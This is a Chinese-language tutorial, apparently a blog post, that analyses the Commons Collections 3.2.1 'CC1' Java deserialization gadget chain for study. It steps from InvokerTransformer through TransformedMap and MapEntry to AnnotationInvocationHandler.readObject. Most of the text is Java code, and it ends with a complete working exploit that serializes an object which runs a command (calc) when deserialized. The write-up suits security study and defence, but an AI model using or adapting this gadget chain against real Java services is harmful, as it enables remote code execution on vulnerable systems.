CC1鏈子分析
Commons Collections簡介
Apache Commons Collections 是一個擴充套件了Java 標準庫裡的Collection 結構的第三方基礎庫,它提供了很多強有力的資料結構型別並實現了各種集合工具類。 作為Apache 開源專案的重要元件,被廣泛運用於各種Java 應用的開發。
環境配置
jdk版本:jdk8u71以下,因為在該jdk版本以上這個漏洞已經被修復了
下載連結:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
一、依賴配置
先建立一個新的maven專案:
然後在檔案pom.xml的中新增(這裡是分析Commons Collections3.2.1版本下的一條反序列化漏洞鏈):
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
完成後重新載入一下即可。
二、原始碼配置
這個也是需要配置的,因為後面會用到jdk中的一些類,而這些類是class檔案,不利於我們分析,我們需要它的.java檔案,這就需要下載其對應原始碼。
下載:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
點選zip下載後解壓,在/src/share/classes中找到sun檔案,把其複製到jdk中src.zip的解壓檔案
然後在idea中的專案結構處載入源路徑
鏈子分析
終點類
終點類就是鏈子的最底端呼叫危險函式的地方,但這也是我們入手的地方。
介面Transformaer的tranform方法:
然後看一下哪些類實現了該介面(IDEA中快捷鍵:ctrl+alt+b):
ChainedTransformer
這個類中的transform
方法起到個鏈式呼叫的作用,就是把前一次的輸出當作後一次的輸入。
ConstantTransformer
可以看到該類是接受一個任意物件然後都返回一個常量,而該常量又是由建構函式控制的。
InvokerTransformer
這個類中的transform方法實現了個任意方法呼叫(因為其中的變數可以由建構函式控制)。可以利用其構造惡意方法進行程式碼執行。
測試一下:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1test{
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
in.transform(Runtime.getRuntime());
}
}
可以看到能夠透過呼叫該類的transform方法進行惡意方法呼叫從而命令執行。其實就是其實現了個簡單的反射功能,讓我們把原本的兩行寫成了一行。那麼這個類就是終點類了。
在正常反序列化分析思路中其實就找兩個點,第一個是找哪個類中的方法有呼叫危險方法(終點類),第二個就是重寫了readObject的類(起點類),很顯然這裡的InvokerTransformer
是終點類。
所以接下來就是看誰呼叫了InvokerTransformer.transform()
方法,
checkSetValue()
查詢一下transform()
的用法(就是看哪裡呼叫了transform()
):
發現TransformedMap
類的 checkSetValue()
裡使用了 valueTransformer
呼叫transform()
,這個valueTransformer
看名字就非常可疑,感覺應該是可控的引數,跟進到TransformedMap
類中:
看到引數valueTransformer
是保護+final屬性,但發現該類的建構函式可以對valueTransformer
進行賦值。
可惜建構函式也是保護屬性,只能自己呼叫。不要灰心繼續找找看誰呼叫了該建構函式(有點像Rutime例項化的獲得,不過其是私有屬性)。
發現是個公有靜態方法可以呼叫。
那麼現在就是可以透過呼叫decorate
函式來進行TransformedMap
類例項化從而讓valueTransformer
的值等於InvokerTransformer
。
然後就是要呼叫checkSetValue()
方法來實現上面InvokerTransformer
中的transform()
方法,但是從上面不難發現checkSetValue()
是個保護屬性的函式,所以又要去找找誰呼叫了checkSetValue()
方法。
setValue()
可以看到只有一個結果,跟進該類看看:
是個子類裡面呼叫的,並且它的構造方法是保護屬性,setValue方法倒是公有屬性,但看來是不能直接實列化來呼叫setValue()方法了,
但是這裡檢視該方法呼叫結果太多了,有38個結果,主要是我也看不懂怎麼呼叫的。先直接照著師傅們的構造呼叫一下吧:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map=new HashMap();
map.put("key","value");
Map<Object,Object> t= TransformedMap.decorate(map,null,in);//靜態方法staic修飾直接類名+方法名呼叫
for(Map.Entry entry : t.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}
}
執行結果:
大概解釋一下為什麼這裡entry.setValue(Runtime.getRuntime());會呼叫到MapEntry中的setValue方法(雖然除錯一下也知道)。這裡其實就是在遍歷map中的鍵值對, 遍歷的鍵值對也就是Map.Entry的物件entry,跟進Map會發現裡面有setValue方法,子類MapEntry重寫了setValue方法,它繼承了AbstractMapEntryDecorator這個類,這個類中存在setValue方法,而這個類又引入了Map.Entry介面,所以我們只需要進行常用的Map遍歷,就會呼叫setValue方法
(其實感覺就像反序列化最基礎的readObject方法重寫一樣,為什麼就一定會呼叫到重寫readObject方法,因為序列化的物件就是這個類嘛。那麼這裡其實也差不多隻要是涉及的是Map的遍歷,呼叫setValue就會呼叫setValue。)
readObject()
但是很顯然這裡並不是終點鏈,因為還沒有涉及到反序列化。所以還是得找誰呼叫了setValue()方法,不過透過上面的自己構造呼叫來看,我們要找的類裡面呼叫setValue方法估計也是以差不多的形式來呼叫的。
最後在AnnotationInvocationHandle
類中找到了符合條件的情況。
memberValue
引數可控,而且發現還在readObject方法裡面,這不妥妥起點類了嘛。
但發現這個構造方法前面沒有public屬性,那麼就是default型別。在java中,default型別只能在本包進行呼叫。說明這個類只能在sun.reflect.annotation這個包下被呼叫。
我們要想在外部呼叫,需要用到反射來解決,進行構造:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map=new HashMap();
map.put("key","value");
Map<Object,Object> t= TransformedMap.decorate(map,null,in);//靜態方法staic修飾直接類名+方法名呼叫
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Override.class,t);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
三個問題
當然這樣是還呼叫不到setValue
方法的,有兩個if
條件。而且就算呼叫了發現setVlaue
引數是固定的,我們還根本沒有把Runtime.getRuntime()
這個引數傳進去,而且Runtime.getRuntime()
也不能進行序列化,因為Runtime
沒有序列化介面。
總結一下這裡的幾個問題:
一、Runtime的序列化
二、setValue引數的改變
三、兩個if條件的繞過
解決Runtime的序列化
因為Runtime是沒有反序列化介面的的,所以其不能進行反序列化,但是可以把其變回原型類class,這個是存在serilize
介面的:
在利用反射來呼叫其方法,下面是其反射呼叫的demo:
public class CC1test {
public static void main(String[] args)throws Exception {
Class c1=Runtime.class;
Runtime runtime = (Runtime) c1.getMethod("getRuntime",null).invoke(null);
c1.getMethod("exec",String.class).invoke(runtime,"calc");
}
}
不過這種寫法下面照著改InvokerTransformer.tansform呼叫時不好對照,所以換一種詳細的寫法。
public class CC1test {
public static void main(String[] args)throws Exception {
Class c1=Runtime.class;
Method getruntime = c1.getMethod("getRuntime",null);
Runtime runtime=(Runtime) getruntime.invoke(null,null);
c1.getMethod("exec",String.class).invoke(runtime,"calc");
}
}
然後利用InvokerTransformer.tansform來進行代替反射進行呼叫,因為需要InvokerTransformer.tansform來呼叫危險函式嘛。
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class CC1test {
public static void main(String[] args)throws Exception {
Method getruntime=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}
分析構造,這裡其實就可以把new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
看作是呼叫Runtime.class
的getMethod
方法,引數是("getRuntime",null)
。
剩下的如法炮製。
但是這樣要一個個巢狀建立引數太麻煩了(當然也必須這麼改),這裡我們想起上面一個Commons Collections庫中存在的ChainedTransformer類,它也存在transform方法可以幫我們遍歷InvokerTransformer,並且呼叫transform方法:
再通俗一點講就是上面說過的會把前一次的輸出當作下一次的輸入,這裡transform的引數也就是上一次的輸出,所以非常符合當前這種情況。
構造:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
new ChainedTransformer(transformers).transform(Runtime.class);
簡單分析一下就是建立一個陣列把剛剛transform函式前面不同的值儲存起來待會迴圈呼叫。然後只需傳入引數Runtime.class就行了。
那麼解決了Runtime反序列化的問題,現在先加上反序列化的程式碼:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("key","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//靜態方法呼叫
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Override.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
解決if條件
上面程式碼執行肯定是彈不了計算機的。看看呼叫setValue的地方:
先不說setValue()方法的引數不是我們想要的,這裡還有兩個if
條件,第一個if是要memberType != null,先看memberType是什麼:
Class<?> memberType = memberTypes.get(name);
而這裡的name就是鍵值對中的建,memberTypes:
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
這個就是註解中成員變數的名稱,但是上面的Override沒有成員變數。換一個註解,這裡用到Target
其成員變數名稱是value,所以把key設為value。再次進行除錯:
發現第二個if直接就符合條件了,順利來到了setValue(),不過這裡還是簡單分析一下第二個if條件:
就是判斷value是否是memberType和ExceptionProxy型別的例項,這裡value傳的是aaa字串肯定實不符和。所以直接呼叫到了最後一步setValue
方法。
解決setValue引數
到這裡在理一遍思路,先把上面的程式碼粘下來:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("key","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//靜態方法呼叫
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Override.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
首先是透過InvokerTransformer
類的transform
方法來反射呼叫Runtime.getRuntime
的exec
方法執行危險命令。
後面由於需要Runtim
e序列化,所以要利用Runtime.class
來一步一步呼叫到危險函式(也就是選呼叫到getRuntime
方法然後再呼叫到exec
方法)所以連續用了幾次InvokerTransformer
類的transform
方法。但是後面序列化肯定只有Runtime.class
一個引數傳進去,所以又利用了ChainedTransformer
類。它的transform
方法可以實現迭代呼叫transform
方法,這樣就只用傳入Runtime.class
就可以直接執行到最後的calc
了(當然這是手動呼叫)。
然後就是利用TransformedMap
類checkSetValue
方法來呼叫ChainedTransformer
類的transform
,在這之前,利用TransformedMap.decorate
靜態方法來實現TransformedMap
類的例項化主要需要呼叫其構造方法讓引數valueTransformer
的值等於ChainedTransformer
,這樣checkSetValue
才能算是呼叫ChainedTransformer
的transform
方法,
但由於這裡checkSetValue
是保護屬性,所以又要利用MapEntry
類的setValue
方法來呼叫checkSetValue
方法,由於MapEntry
是個子類且其繼承了Map.Entry
介面可以在使用上面Map
遍歷的形式呼叫到MapEntry
類的setValue
方法(這是手動)
最後發現AnnotationInvocationHandler
類中的readObject
方法中剛好有這個Map
遍歷,至此到readObject
就算完成了最後一個類,雖然其是defualt
屬性,但還是可以利用反射來達到呼叫。到這裡只需要解決最後一個問題,就是setValue
的引數問題,因為這個setValue
的引數也就是最後transform
的引數。
發現前面提到的類ConstantTransformer
可以把接受的任何引數都返回一個常量並且常量可控。
那麼構造:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//靜態方法呼叫
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Target.class,tmap); //存疑
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
這樣不管setValue
是什麼引數當傳入到最後 ChainedTransformer.transforme
時會透過ConstantTransformer
的transforme
方法返回Runtime.class
固定引數,這樣最後迭代一樣可以執行到calc
。
所以這條鏈也就結束了,從readObject
開始可以一步一步到最後惡意命令執行。
總結
主要的函式呼叫就是:
transform ---->checkSetValue ----> setValue ----> readObject
只是其中穿插了一些其他需要解決的問題。